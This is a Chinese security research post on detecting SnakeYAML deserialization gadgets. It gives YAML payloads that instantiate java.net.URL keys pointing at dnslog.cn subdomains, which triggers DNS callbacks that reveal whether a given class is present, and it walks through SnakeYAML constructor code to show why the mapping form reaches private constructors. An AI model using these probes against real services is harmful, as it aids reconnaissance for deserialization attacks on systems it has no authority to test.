

# SnakeYAML实现Gadget探测

@Y4tacker

## 思路来源

今天在学习SnakeYAML的反序列化的时候，想到一个新的探测payload，网上之前有一个SPI那个链子可以有通过URLClassLoader检测

```
String poc = "!!java.net.URL [null, \"[http://osrwbfdnslog.cn](http://osrwbfdnslog.cn/)\"]: 1";
```

这个的话主要是因为SnakeYAML在解析带键值对的集合的时候会对键调用hashCode方法因此会触发DNS解析，

```
protected void constructMapping2ndStep(MappingNode node, Map<Object, Object> mapping) {
    List<NodeTuple> nodeValue = node.getValue();
    Iterator i$ = nodeValue.iterator();

    while(i$.hasNext()) {
        NodeTuple tuple = (NodeTuple)i$.next();
        Node keyNode = tuple.getKeyNode();
        Node valueNode = tuple.getValueNode();
        Object key = this.constructObject(keyNode);
        if (key != null) {
            try {
                key.hashCode();
            } catch (Exception var10) {
                throw new ConstructorException("while constructing a mapping", node.getStartMark(), "found u
            }
        }
    }
}
```

因此通过构造URL对象后面简单加个: 1让他成为一个mapping，不过会触发多次

Get SubDomain

Refresh Record

skibet.dnslog.cn

DNS Query Record	IP Address	Created Time
skibet.dnslog.cn	61.188.16.138	2022-02-08 21:56:01
skibet.dnslog.cn	172.253.6.4	2022-02-08 21:55:59
skibet.dnslog.cn	61.188.7.194	2022-02-08 21:55:59

## 实现探测Gadget

### 不完美的构造

这里再补充个探测gadget思路：：在刚刚的思路实现了探测gadget，如果string存在才会接着触发URLDNS，不存在就不会

```
String poc = "key: [!!java.lang.String []: 0, !!java.net.URL [null, \"http://5yd13f.dnslog.cn](http://5yd13f.dnslog.cn/)\": 1]";
```

当然上面的payload又遇到了问题，如果对象的构造方法私有化就不行，为什么呢看下文

### 更完善的方案

解决方案是

```
String poc = "key: [!!java.lang.String {}: 0, !!java.net.URL [null, \"http://5yd13f.dnslog.cn](http://5yd13f.dnslog.cn/)\": 1]";
```

这个与上面的区别不一样在于探测的类后面[]或{}对应的分别是ConstructSequence与ConstructMapping，光这样说还是不够清楚，就详细来说，可以看到 `org.yaml.snakeyaml.constructor.Constructor.ConstructSequence#construct` 的处理逻辑如下，我们只看最关键的地方

```
return node.isTwoStepsConstruction() ? Constructor.this.createArray(node.getType(), snode.getValue().size()) : Constructor.this.constructArray(snode)
} else {
    List<java.lang.reflect.Constructor<?>> possibleConstructors = new ArrayList(snode.getValue().size());
    java.lang.reflect.Constructor[] arr$ = node.getType().getConstructors();
    int len$ = arr$.length;
    len$: 1

    int index;
    for(index = 0; index < len$; ++index) {
        len$: 1
        java.lang.reflect.Constructor<?> constructor = arr$[index];
        arr$: Constructor[1]@701
        constructor: "public code.yyds.ABC(java.lang.String)"
        if (snode.getValue().size() == constructor.getParameterTypes().length) {
            snode: "<org.yaml.snakeyaml.nodes.SequenceNode (tag=tag:yaml.org,2002:code.yyds.ABC, value=[...])"
            possibleConstructors.add(constructor);
        }
    }

    if (!possibleConstructors.isEmpty()) {
        ...
    }
}
```

可以看到这里获取构造函数调用的是 `node.getType().getConstructors()`，也就是只会获得公有的构造函数，因此会出错

如果换成了 {} 则会调

用 `org.yaml.snakeyaml.constructor.Constructor.ConstructMapping#construct`

```
return map;
} else if (Map.class.isAssignableFrom(node.getType())) {
    return node.isTwoStepsConstruction() ? Constructor.this.createDefaultMap() : Constructor.this.constructMapping(mnode);
} else if (SortedSet.class.isAssignableFrom(node.getType())) {
    SortedSet<Object> set = new TreeSet();
    Constructor.this.constructSet2ndStep(mnode, set);
    return set;
} else if (Collection.class.isAssignableFrom(node.getType())) {
    return node.isTwoStepsConstruction() ? Constructor.this.createDefaultSet() : Constructor.this.constructSet(mnode);
} else {
    return node.isTwoStepsConstruction() ? this.createEmptyJavaBean(mnode) : this.constructJavaBean2ndStep(mnode, this.createEmptyJavaBean(mnode));
}
}
```

这里首先调用 `createEmptyJavaBean` 实例化对象，可以看到这里是 `getDeclaredConstructor` 就算是私有也Ok

```
protected Object createEmptyJavaBean(MappingNode node) {
    try {
        java.lang.reflect.Constructor<?> c =
node.getType().getDeclaredConstructor();
        c.setAccessible(true);
        return c.newInstance();
    } catch (Exception var3) {
        throw new YAMLException(var3);
    }
}
```

那么你会好奇如果我想要调用带参数的构造函数怎么办，那肯定不行，那SnakeYAML如何处理的呢也就是后面调用了， `constructJavaBean2ndStep`，与本文探测问题无关，简单来说其实就是在while循环里不断通过反射设置值

```

} else if (property.getType().isAssignableFrom(Map.class)) {
    keyType = arguments[0];
    Class<?> valueType = arguments[1];
    MappingNode mnode = (MappingNode)valueNode;
    mnode.setTypes(keyType, valueType);
    mnode.setUseClassConstructor(true);
}

Object value = Constructor.this.constructObject(valueNode);
if ((property.getType() == Float.TYPE || property.getType() == Float.class) && value instanceof Double) {
    value = ((Double)value).floatValue();
}

property.set(object, value);
} catch (Exception var17) {
    throw new ConstructorException("Cannot create property=" + key + " for JavaBean=" + object, node.getStartMark(), var17.getMessage(), v
}

return object;

```

## 总结

有时候细节也确实很重要，昨晚匆匆忙忙却忽略了很多细节，说起来也是惭愧